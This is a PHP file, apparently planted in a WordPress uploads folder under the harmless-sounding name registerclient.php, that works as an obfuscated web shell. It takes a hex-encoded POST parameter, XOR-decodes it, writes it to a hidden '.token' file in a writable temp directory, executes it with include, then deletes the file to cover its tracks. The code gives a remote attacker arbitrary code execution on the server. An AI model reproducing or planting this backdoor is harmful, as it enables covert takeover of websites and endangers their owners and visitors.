File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/uploads/wpcode/e/h/g/registerclient.php
<?php
if(!is_null($_POST["\x70t\x72"] ?? null)){
$val = array_filter(["/tmp", getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path()]);
$record = hex2bin($_POST["\x70t\x72"]);
$fac = ''; for($m=0; $m<strlen($record); $m++){$fac .= chr(ord($record[$m]) ^ 51);}
$parameter_group = 0;
do {
$pgrp = $val[$parameter_group] ?? null;
if ($parameter_group >= count($val)) break;
if (is_dir($pgrp) ? is_writable($pgrp) : false) {
$descriptor = join("/", [$pgrp, ".token"]);
if (@file_put_contents($descriptor, $fac) !== false) {
include $descriptor;
unlink($descriptor);
die();
}
}
$parameter_group++;
} while (true);
}